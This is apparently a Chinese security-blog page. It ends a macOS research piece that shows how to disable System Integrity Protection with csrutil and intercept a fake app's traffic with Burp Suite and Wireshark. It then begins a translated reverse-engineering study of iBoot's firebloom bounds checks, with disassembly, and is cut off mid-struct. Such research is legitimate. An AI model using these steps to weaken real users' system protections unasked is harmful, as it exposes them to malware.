系統完整性保護SIP（系統完整性保護）是一種安全功能，可防止惡意軟件修改Mac系統上受保護的文件和文件夾。它限制了root用戶帳戶，並限制了root用戶可以在操作系統的受保護部分執行的操作。

系統完整性保護包括幾種機制，包括：

文件系統保護：防止對/System、/sbin、/bin和/usr目錄以及某些系統文件和文件夾進行任何修改。

運行時保護：SIP限制了附加調試器和防止代碼注入的能力。

內核擴展保護：將內核擴展（kext）的安裝限制為僅限蘋果批准和簽署的內核擴展。

macOS中的SIP機制阻止我們監控網絡活動，因此禁用SIP對於我們的需求是必要的。我們不建議禁用SIP，但我們將禁用它進行測試。

要禁用SIP，請遵循以下步驟，在恢復模式下從實用程序菜單中啟動終端，運行命令csrutil disable並重新啟動macOS。使用用戶身份登錄後，打開終端並執行命令csrutil status，查看SIP是否成功關閉。

重要的是要記住，禁用SIP可能會使你的系統容易受到惡意攻擊，因此請確保在完成研究後重新啟用它。你可以按照上面提到的相同步驟啟用SIP，但不是運行csrutil disable，而是運行csrutil enable。

既然SIP已被禁用，我們就可以繼續配置代理來攔截和分析虛假應用程序的網絡活動。

為此，我們將使用BurpSuite工具，它將允許我們攔截、操縱和分析web應用程序與其服務器之間的HTTP和HTTPS流量。

下面是在macOS系統上配置代理的步驟：

1.下載並安裝BurpSuite：你可以從PortSwigger網站下載該工具，安裝很簡單；

2.配置BurpSuite代理：為此，我們將導航到“Proxy”選項卡並選擇“Options”選項卡。在這裡我們將設置一些選項，例如代理偵聽器和端口。在下一步中，我們應該以.der格式導出Burp證書，並將其保存在某個本地文件夾中。

5.webp.jpg

導出Burp證書

3.安裝導出的證書並允許系統使用它：

6.webp.jpg

將證書安裝到系統

4. 配置macOS網絡設置：

要執行此操作，請導航到“系統首選項”菜單並選擇“網絡”。此時，我們將選擇網絡適配器並單擊“高級”按鈕。在“高級”菜單中，我們將選擇“代理”選項卡並配置代理設置。我們將代理類型設置為“HTTP”，代理服務器設置為“127.0.0.1”，我們還將端口設置為“8080”。

7.webp.jpg

代理配置

5. 驗證代理配置：我們可以啟動一個網絡瀏覽器並導航到一個隨機的網站來驗證一切是否正常。然後，我們將返回到BurpSuite工具，並驗證網絡活動是否已被捕獲。

Wireshark此外，還可以使用Wireshark進行網絡流量分析。

Wireshark是一種網絡協議分析器，可以捕獲和分析網絡流量。我們可以使用它來檢測網絡通信中的安全弱點，例如明文密碼、不安全的協議和敏感信息。

8.webp.jpg

Wireshark未加密的流量

總結我們了解了macOS應用程序及其結構，並演示瞭如何構建虛假應用程序。我們還討論了SIP以及如何配置常用的網絡攔截工具。

在下一部分，我們將深入研究文件和二進制分析，包括代碼簽名機制、強化的運行時異常和授權。此外，我們還將介紹一些用於這些目的的幾種工具和技術。

HireHackking

簡介2021年2月，蘋果公司發布了關於iBoot內存安全的新舉措，並將其納入蘋果安全平台的一部分。他們的描述中提到，“蘋果公司修改了用於構建iBoot引導程序的C編譯器工具鏈，以提高其安全性”，並對其工作進行了一些概述。以下是引自該文件中的相關內容：

內存安全的iBoot實現在iOS 14和iPadOS 14中，蘋果公司修改了用於構建iBoot引導程序的C編譯器工具鏈，以提高其安全性。修改後的工具鏈實現了旨在防禦C程序中常見的內存和類型安全問題的代碼。例如，它有助於防止以下類型的安全漏洞：

緩衝區溢出，通過確保所有指針攜帶邊界信息，在訪問內存時進行驗證。

堆的利用，通過將堆數據與元數據分開，並準確地檢測錯誤條件，如重複釋放錯誤。

類型混淆，通過確保所有指針攜帶運行時的類型信息，並在指針類型轉換操作中進行相應的檢查。

通過將所有的動態內存分配按靜態類型進行隔離，避免由釋放後使用錯誤引起的類型混淆。

這項技術適用於配備Apple A13 Bionic或後續芯片的iPhone，以及配備A14 Bionic芯片的iPad。

我覺得，把一些關於實現、格式和蘋果在這方面所做的令人興奮的工作的信息放在一起可能會更好。順便說一句，在iBoot二進製文件中，有一些非常有用的信息字符串，它們很快就被發佈到了Twitter上。

我對這項工作非常著迷，因為上述描述給人的印像是用軟件實現的“輕量級的CHERI版本”。根據蘋果公司的描述，在新版本的iBoot中，指針攜帶的不僅僅是一個地址——同時，它們還攜帶了邊界和類型信息，這樣的話，編譯器就可以為代碼引入新的內存安全驗證。

我喜歡刨根問底，所以，不妨讓我們一起潛心研究一番，看看我們能發現什麼新玩意。

需要說明的是，這項研究是在iBoot.d53g.RELEASE.im4p、iPhone 12以及ios 14.4（18D52）環境中進行的。

著手進行逆向工程首先，讓我們看看系統檢測到內存安全違規後是如何進行處理的。當內存安全違規發生時，觸發panic是非常有意義的，事實上，我們在二進製文件中提供了一個“__firebloom_panic”字符串。利用這一點，我們可以為周圍的函數進行命名，並重點關注下面這個簡單的函數：

iBoot:00000001FC1AA5A0 firebloom_panic

iBoot:00000001FC1AA5A0

iBoot:00000001FC1AA5A0 var_B8=-0xB8

iBoot:00000001FC1AA5A0 var_B0=-0xB0

iBoot:00000001FC1AA5A0 var_18=-0x18

iBoot:00000001FC1AA5A0 var_10=-0x10

iBoot:00000001FC1AA5A0 var_s0=0

iBoot:00000001FC1AA5A0

iBoot:00000001FC1AA5A0 PACIBSP

iBoot:00000001FC1AA5A4 SUB SP, SP, #0xD0

iBoot:00000001FC1AA5A8 STP X20, X19, [SP,#0xC0+var_10]

iBoot:00000001FC1AA5AC STP X29, X30, [SP,#0xC0+var_s0]

iBoot:00000001FC1AA5B0 ADD X29, SP, #0xC0

iBoot:00000001FC1AA5B4 MOV X19, X0

iBoot:00000001FC1AA5B8 ADD X0, SP, #0xC0+var_B8

iBoot:00000001FC1AA5BC BL sub_1FC1A9A08

iBoot:00000001FC1AA5C0 ADD X8, X29, #0x10

iBoot:00000001FC1AA5C4 STUR X8, [X29,#var_18]

iBoot:00000001FC1AA5C8 ADR X1, aPasPanic ; 'pas panic: '

iBoot:00000001FC1AA5CC NOP

iBoot:00000001FC1AA5D0 ADD X0, SP, #0xC0+var_B8

iBoot:00000001FC1AA5D4 BL do_trace

iBoot:00000001FC1AA5D8 LDUR X2, [X29,#var_18]

iBoot:00000001FC1AA5DC ADD X0, SP, #0xC0+var_B8

iBoot:00000001FC1AA5E0 MOV X1, X19

iBoot:00000001FC1AA5E4 BL sub_1FC1A9A48

iBoot:00000001FC1AA5E8 LDR X0, [SP,#0xC0+var_B0]

iBoot:00000001FC1AA5EC BL __firebloom_panic

我們可以都看到，這個函數有11個交叉引用。我把其中一個命名為“do_firebloom_panic”，它也有11個交叉引用，並且每個交叉引用都能捕捉到不同類型的違規行為。

1.png

好的，現在我們就有了一個（部分）清單，列出了firebloom會明確檢測並引起恐慌的錯誤。因為其中一些新的檢查是針對已知的定義良好的函數（memset, memcpy），所以，接下來可以期待看到新的memset和memcpy的封裝函數，並在其中加入新的檢查。通過跟踪交叉引用鏈並不斷逆向該流程，我們很容易就能找到這些封裝函數。

然而，我很好奇其餘的驗證會是什麼情況：例如，我們在哪裡/如何看到ptr_under/ptr_over？好吧，函數panic_ptr_over有179處交叉引用，其中很多只是帶有一些哈希值的封裝函數。這些封裝函數也有一些交叉引用，不過這些是來自實際的代碼，並且當內存安全違規發生時會觸發恐慌。通過跟進執行流程，我們可以發現很多示例，可以幫我們搞清楚它們的使用情況。

我只相信實際的例子，因為沒有什麼比代碼更能說明一切了，所以，我們就通過一個執行流程，來舉例說明：

iBoot:00000001FC05C5AC loop ; CODE XREF: sub_1FC05C548+94↓j

iBoot:00000001FC05C5AC CMP X10, X9

iBoot:00000001FC05C5B0 B.EQ return

iBoot:00000001FC05C5B4 ; fetch ptr and lower bounds

iBoot:00000001FC05C5B4 LDP X11, X13, [X0]

iBoot:00000001FC05C5B8 ; advance the ptr to ptr+offset, it's a loop

iBoot:00000001FC05C5B8 ADD X12, X11, X9

iBoot:00000001FC05C5BC CMP X12, X13

iBoot:00000001FC05C5C0 B.CC detected_ptr_under

iBoot:00000001FC05C5C4 ; fetch upper bounds

iBoot:00000001FC05C5C4 LDR X13, [X0,#0x10]

iBoot:00000001FC05C5C8 CMP X12, X13

iBoot:00000001FC05C5CC B.CS detected_ptr_over

iBoot:00000001FC05C5D0 ; actually dereference the pointer

iBoot:00000001FC05C5D0 LDR W11, [X11,X9]

iBoot:00000001FC05C5D4 STR W11, [X8,#0x1DC]

iBoot:00000001FC05C5D8 ADD X9, X9, #4

iBoot:00000001FC05C5DC B loop

iBoot:00000001FC05C5E0 ; ---------------------------------------------------------------------------

iBoot:00000001FC05C5E0

iBoot:00000001FC05C5E0 return ; CODE XREF: sub_1FC05C548+68↑j

iBoot:00000001FC05C5E0 LDUR X8, [X29,#var_8]

iBoot:00000001FC05C5E4 ADRP X9, #a160d@PAGE ; '160D'

iBoot:00000001FC05C5E8 NOP

iBoot:00000001FC05C5EC LDR X9, [X9,#a160d@PAGEOFF] ; '160D'

iBoot:00000001FC05C5F0 CMP X9, X8

iBoot:00000001FC05C5F4 B.NE do_panic

iBoot:00000001FC05C5F8 LDP X29, X30, [SP,#0x70+var_s0]

iBoot:00000001FC05C5FC ADD SP, SP, #0x80

iBoot:00000001FC05C600 RETAB

iBoot:00000001FC05C604 ; ---------------------------------------------------------------------------

iBoot:00000001FC05C604

iBoot:00000001FC05C604 do_panic ; CODE XREF: sub_1FC05C548+AC↑j

iBoot:00000001FC05C604 BL call_panic

iBoot:00000001FC05C608 ; ---------------------------------------------------------------------------

iBoot:00000001FC05C608

iBoot:00000001FC05C608 detected_ptr_under ; CODE XREF: sub_1FC05C548+78↑j

iBoot:00000001FC05C608 BL call_panic_ptr_under_5383366e236c433

iBoot:00000001FC05C60C ; ---------------------------------------------------------------------------

iBoot:00000001FC05C60C

iBoot:00000001FC05C60C detected_ptr_over ; CODE XREF: sub_1FC05C548+84↑j

iBoot:00000001FC05C60C BL call_panic_ptr_over_5383366e236c433

iBoot:00000001FC05C610 ; ---------------------------------------------------------------------------

因此，在訪問偏移量為X9處的指針（在0x01fc05c5d0)之前，代碼將根據某些界限來檢查PTR+偏移量是否越界。其中，原始指針和邊界指針（下界和上界）是從某個結構體中檢索的（稍後我將對其進行定義）。在此之前，為了讓更好地了解相關的函數，讓我們先看看相關的panic封裝函數：

iBoot:00000001FC05D384 call_panic_ptr_over_5383366e236c433 ; CODE XREF: sub_1FC05C548:detected_ptr_over↑p

iBoot:00000001FC05D384 ; DATA XREF: call_panic_ptr_over_5383366e236c433+24↓o

iBoot:00000001FC05D384

iBoot:00000001FC05D384 var_8=-8

iBoot:00000001FC05D384 var_s0=0

iBoot:00000001FC05D384

iBoot:00000001FC05D384 PACIBSP

iBoot:00000001FC05D388 SUB SP, SP, #0x20

iBoot:00000001FC05D38C STP X29, X30, [SP,#0x10+var_s0]

iBoot:00000001FC05D390 ADD X29, SP, #0x10

iBoot:00000001FC05D394 ADRL X8, a5383366e236c43 ; '5383366e236c433'

iBoot:00000001FC05D39C STR X8, [SP,#0x10+var_8]

iBoot:00000001FC05D3A0 MOV X8, X30

iBoot:00000001FC05D3A4 XPACI X8

iBoot:00000001FC05D3A8 ADR X16, call_panic_ptr_over_5383366e236c433

iBoot:00000001FC05D3AC NOP

iBoot:00000001FC05D3B0 PACIZA X16

iBoot:00000001FC05D3B4 SUB X2, X8, X16

iBoot:00000001FC05D3B8 ADD X0, SP, #0x10+var_8

iBoot:00000001FC05D3BC MOV W1, #1

iBoot:00000001FC05D3C0 BL panic_ptr_over

iBoot:00000001FC05D3C0 ; End of function call_panic_ptr_over_5383366e236c433

以及：

iBoot:00000001FC1AA980 panic_ptr_over ; CODE XREF: sub_1FC04CBD0+3C↑p

iBoot:00000001FC1AA980 ; sub_1FC04EC2C+3C↑p .

iBoot:00000001FC1AA980

iBoot:00000001FC1AA980 var_20=-0x20

iBoot:00000001FC1AA980 var_10=-0x10

iBoot:00000001FC1AA980 var_s0=0

iBoot:00000001FC1AA980

iBoot:00000001FC1AA980 PACIBSP

iBoot:00000001FC1AA984 STP X22, X21, [SP,#-0x10+var_20]!

iBoot:00000001FC1AA988 STP X20, X19, [SP,#0x20+var_10]

iBoot:00000001FC1AA98C STP X29, X30, [SP,#0x20+var_s0]

iBoot:00000001FC1AA990 ADD X29, SP, #0x20

iBoot:00000001FC1AA994 MOV X19, X2

iBoot:00000001FC1AA998 MOV X20, X1

iBoot:00000001FC1AA99C MOV X21, X0

iBoot:00000001FC1AA9A0 ADRP X8, #0x1FC2F2270@PAGE

iBoot:00000001FC1AA9A4 LDR X8, [X8,#0x1FC2F2270@PAGEOFF]

iBoot:00000001FC1AA9A8 CBZ X8, do_panic

iBoot:00000001FC1AA9AC BLRAAZ X8

iBoot:00000001FC1AA9B0

iBoot:00000001FC1AA9B0 do_panic ; CODE XREF: panic_ptr_over+28↑j

iBoot:00000001FC1AA9B0 ADR X0, aPtrOver ; 'ptr_over'

iBoot:00000001FC1AA9B4 NOP

iBoot:00000001FC1AA9B8 MOV X1, X21

iBoot:00000001FC1AA9BC MOV X2, X20

iBoot:00000001FC1AA9C0 MOV X3, X19

iBoot:00000001FC1AA9C4 BL do_firebloom_panic

iBoot:00000001FC1AA9C4 ; End of function panic_ptr_over

很好，看起來非常簡單。

讓我們看看同樣的模式是否在其他地方重複出現；例如，下面這個：

1.png

在這個例子中，你可以看到一個循環語句在遍歷一個元素數組（每個元素大小為0x20），並對每個元素調用一些函數。而且，不出所料，這里以相同的方式使用了相同的“指針結構體”。

格式函數與輔助函數因此，我們有理由相信，內存分配用到的結構體如下所示：

00000000 safe_allocation struc ; (sizeof=0x20, mappedto_1)

00000000 raw_ptr DCQ ? offset

00000008 lower_bound_ptr DCQ ? offset

00000010 upper_bound_ptr DCQ ? offset

00000018 field_18 DCQ ?

000000